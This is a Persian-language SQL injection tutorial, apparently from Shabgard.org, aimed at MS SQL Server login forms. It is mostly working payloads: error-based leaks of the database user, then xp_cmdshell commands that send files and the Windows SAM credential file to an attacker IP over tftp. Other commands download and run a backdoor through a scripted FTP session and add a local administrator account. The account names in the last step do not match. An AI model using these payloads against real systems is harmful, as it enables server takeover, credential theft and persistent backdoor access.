SQL Injection (Lesson 6)
(Using SQL Server)

به دستورات زیر توجه کنید:

Login: a' or 1=convert (int,user_name())--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'dbo' to a column of data type int.

/check.asp, line 15

Login: a' or 1=convert(int,system_user)--

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'sa' to a column of data type int.

/check.asp, line 15

در صورتی که خروجی دستورات فوق sa و dbo باشد شما مجاز به استفاده از exec xp_cmdshell می باشید.
در مواردی ممکن است این دستورات محدود شده باشد.

فرم کلی دستور به صورت زیر می باشد. (دستورات اعمال می شود ولی انتظار دیدن پاسخ در صفحه را نداشته باشید)

Login: ' ; exec master..xp_cmdshell 'ms-dos command' --

برای مثال دستور زیر که خروجی dir C:\ را در فایل file.txt ذخیره می کند(file.txt در سرور ذخیره می شود)

Login: ' ; exec master..xp_cmdshell 'dir c:\ > file1.txt' --

و یا دستور زیر:

Login: ' ; exec master..xp_cmdshell 'ipconfig > file2.txt'--

Login: ' ; exec master..xp_cmdshell 'echo dir c:\ /s > c:\file3.bat'--

و سپس با استفاده از دستوراتی نظیر **tftp** فایل های مورد نظر را به کامپیوتر خود انتقال می دهیم مثلا:

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> Put file1.txt'--

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> PUT c:\winnt\repair\sam'--

یا یک فایل (مثلا backdoor) را بروی سیستم هدف upload می کنیم مثلا:

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> GET backdoor.exe'--

اگر تا بحال با tftp کار نکردید حتما روش استفاده از اون رو از سایت های آموزشی مطالعه کنید.

بطور کلی میزان تسلط شما به فرمان ها به شما در ایجاد روشهای سریع و ابتکاری کمک می کند.

مثال برای دریافت فایل از طریق FTP

'; exec MASTER..xp_cmdshell 'md %systemroot%\system32\mouse\'--

'; exec MASTER..xp_cmdshell 'echo open x.x.x.x 21 >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo USER smallMouse 123456 >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo get file.exe %systemroot%\system32\mouse\M.exe >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'del %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell '%systemroot%\system32\Mouse\M.exe'--

بجای چند xp_cmdshell می توان با بکاربردن 26% در بین دستورها فقط یک بار آن را بکار برد. (&=26%)

'; exec MASTER..xp_cmdshell 'dir C:\ > file1.txt %26 tftp -i <IP> Put file1.txt'--

با استفاده از دستور زیر یک یوزر با سطح دسترسی admin بروی ویندوز ایجاد می کنیم.

' ; exec master..xp_cmdshell 'net user Mouse 123 /add %26 net localgroup administrators M /add'--

User: M
Pass: 123

Author: Mouse@Shabgard.org

Copyright © 2005 Shabgard.org. All rights reserved.
http://isun.Shabgard.org